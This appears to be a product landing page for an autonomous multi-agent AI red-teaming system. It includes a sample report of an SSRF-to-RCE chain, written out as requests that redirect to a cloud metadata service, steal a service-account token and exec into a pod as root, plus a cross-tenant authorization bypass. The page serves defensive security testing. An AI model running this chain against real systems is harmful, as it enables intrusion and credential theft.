Autonomous Red Teaming,
Enterprise Scale.
An orchestrator deploys its specialists against your target, chains what they find, and hands every candidate to a validator with no prior context. What survives reaches you as a submission-ready report.
Confirmed findings
0
186 candidates · 172 rejected cold
By severity
- Critical3
- High6
- Medium4
- Low1
Mean cold validation
4m 12s
92.5% of candidates rejected
Squad activity
- Recon1,284 runs0 hits
- Exploit412 runs9 hits
- Coverage268 runs3 hits
- Chain47 runs2 hits
Findings · 14 confirmed
- 0x7C19RCE via SSRF in the export rendererCritical9.1Confirmed
- 0x4F2ABroken object-level authorization on invoice exportHigh8.1Confirmed
- 0x5A03Stored XSS in note rendererHigh7.1Validating
- 0x6611Workflow state skip on approval chainMedium5.4Validating
RCE via SSRF in the export renderer
The export renderer fetches a caller-supplied URL server-side with no scheme or host allowlist. The host filter resolves once, before redirects, so a redirect chain reaches the cluster metadata service. The service-account token returned there is accepted by the internal scheduler, which permits pod exec — turning a read-only SSRF into code execution on a production runner.
1 · Export renderer accepts a remote source URL and fetches it server-side.
2 · Host filter resolves the hostname once, before following redirects.
3 · A redirect chain lands on the link-local metadata service.
4 · Namespace service-account token is returned in the render body.
5 · Token is accepted by the internal scheduler, which allows pod exec.
# 1 baseline — the renderer fetches a remote source
POST /v3/exports/render HTTP/1.1
Host: app.example.com
Authorization: Bearer <viewer session, lowest role>
Content-Type: application/json
{"source":"https://assets.example.com/ok.png","format":"pdf"}
← 200 OK render completed, remote body embedded
# 2 direct metadata request is rejected
{"source":"http://169.254.169.254/latest/meta-data/"}
← 400 Bad Request {"error":"host not permitted"}
# 3 the gap — the allowlist runs on the submitted hostname,
# then the fetcher follows 3xx without re-checking the host
# 4 redirect chain reaches metadata
{"source":"https://redirect.example.com/r?to=metadata"}
← 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/token
← 200 OK
render body contains {"Token":"<redacted>"}
# 5 the token is accepted by the internal scheduler
POST /apis/cluster/v1/namespaces/exports/pods/renderer-7f4/exec
Host: scheduler.internal.example.com
Authorization: Bearer <redacted>
Upgrade: websocket
← 101 Switching Protocols
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
exports-runner-7f4
# 6 scope confirmed from inside the runner
service account can exec in 9 namespaces, not only its own
no network policy between the runner and customer workloads
mapper → export renderer accepts a remote source URL, flagged for SSRF
hunter → direct metadata request rejected by the host filter
reasoner → filter resolves the host once; redirects are evaluated after the check
hunter → redirect chain reaches metadata, namespace token returned
reasoner → token scope includes exec on the runner namespace, escalating to RCE
validator → cold start, no hunt context, chain reproduced end to end
validator → CONFIRMED
Code execution on a build runner inside the production cluster.
Service-account scope reaches 9 namespaces beyond its own.
No isolation between the runner and customer workloads.
Re-resolve and pin the host after redirect resolution, not before it.
Deny link-local and metadata ranges at the egress proxy rather than in app code.
Scope the runner service account to its own namespace.
01 — The problem
Research is bounded by researcher-hours.
A scanner finds what it has a signature for. A researcher finds what they have time for. Neither scales to the surface of a modern application, and neither chains two medium findings into the critical that was always there.
An engagement should be limited by the target’s attack surface, not by how many hours one person can give it.
02 — The roster
One orchestrator, seven squads.
Each agent is narrow on purpose: its own prompt, its own toolset, its own golden image. Narrow agents keep context clean and stay auditable alone.
Orchestrator
Holds engagement state, delegates, and re-plans as findings land. Never runs a fixed script.
Recon
SurfaceMapper
Routes, parameters, auth boundaries
Operator
Browser-native, CDP pool, live session
Analysis
IntelligenceDependency
Manifests, lockfiles, transitive trees
SCA / CVE
Components against known advisories
Minified JS
Bundle unpacking, source maps, dead routes
Secrets
Keys, tokens and endpoints left in client artefacts
Research
Exploit-DB, OSINT, disclosed bounty reports
Exploit
PressureExploit
Primitive construction
XSS
Injection contexts, escape chains
RCE
Command and code execution
SSRF
Internal reachability
API security
Schema and object-level authz
Business logic
Workflow and state abuse
Coverage
CompletenessOWASP
Top-10 conformance sweep
WSTG
Testing-guide checklist
Mobile
iOS and Android targets
Chain
CompositionATT&CK
Technique mapping across confirmed findings
Kill chain
Recon to foothold to privilege escalation
Pivot graph
Reachability between findings and internal hosts
Escalation
Promotes chained mediums to a single critical
Verify
ProofValidator
Zero prior context. Receives the claim and the target, nothing else, and reproduces the bug cold or rejects it
Report
DeliveryReporter
Writes the submission draft in the programme’s own field spine, grounded in the evidence store
03 — Architecture
Hunt context never crosses the validator boundary.
A system that validates its own findings will confirm its own hallucinations. The reasoning that produced a candidate is exactly the reasoning that will rationalise it, so Diffix severs the connection.
Inside the hunt
Shared transcript, shared reasoning, shared state. Everything these agents learn stays on this side.
Across the boundary
Validator
Receives the claim and the target. No transcript, no reasoning, no path.
Reporter
Writes only what the evidence store holds, each claim with its artefact.
It reproduces the bug cold, or the finding never reaches you. False positives are the tax every scanner charges. This is how we refuse it.
04 — The report
Report
Written for the person who has to reproduce it.
Diffix does not hand you a vibe. It hands you a file: severity, CWE, affected object, session, requests, and a replay the validator already ran cold. You verify. You submit. The world gets one bug safer.
- Validator signature on every confirmed finding
- Human gate before any disclosure or ticket
DIFFIX / FINDING / 0x4F2A
CRITICAL · CONFIRMED
Broken object-level authorization
CWE-639
GET /v2/invoices/{id}
tenant A token → tenant B invoice
reproduction
1. authenticate as org-admin of tenant A
2. replace path id with tenant B invoice
3. 200 + full PII in body
validator: reproduced from empty context
human: pending
05 — The controls
Autonomy with a leash held in code.
An agent that drives full exploitation has to be bounded by something stronger than instructions. These four are foundational, not features.
- 01
Authorization before autonomy
No agent acts outside a signed engagement. Scope lives in the control plane and is checked at the tool boundary.
- 02
Tool output is data, never instruction
Agents read attacker-controlled content all day. Nothing reaches a reasoning prompt without crossing a trust boundary.
- 03
Nothing asserted without evidence
The reporter may only state what the evidence store holds, with a citation. No artefact, no claim.
- 04
The last call is human
You comment, steer and clarify while the hunt runs. Nothing is submitted to a programme without you reading it.
Early access
Diffix is an early research system.
We are working with a small number of researchers and security teams before general access. If you run a programme, or hunt them on hardened targets, we would like to talk to you.
- No claim we cannot demonstrate.
- No finding we have not reproduced.
- No engagement without signed scope.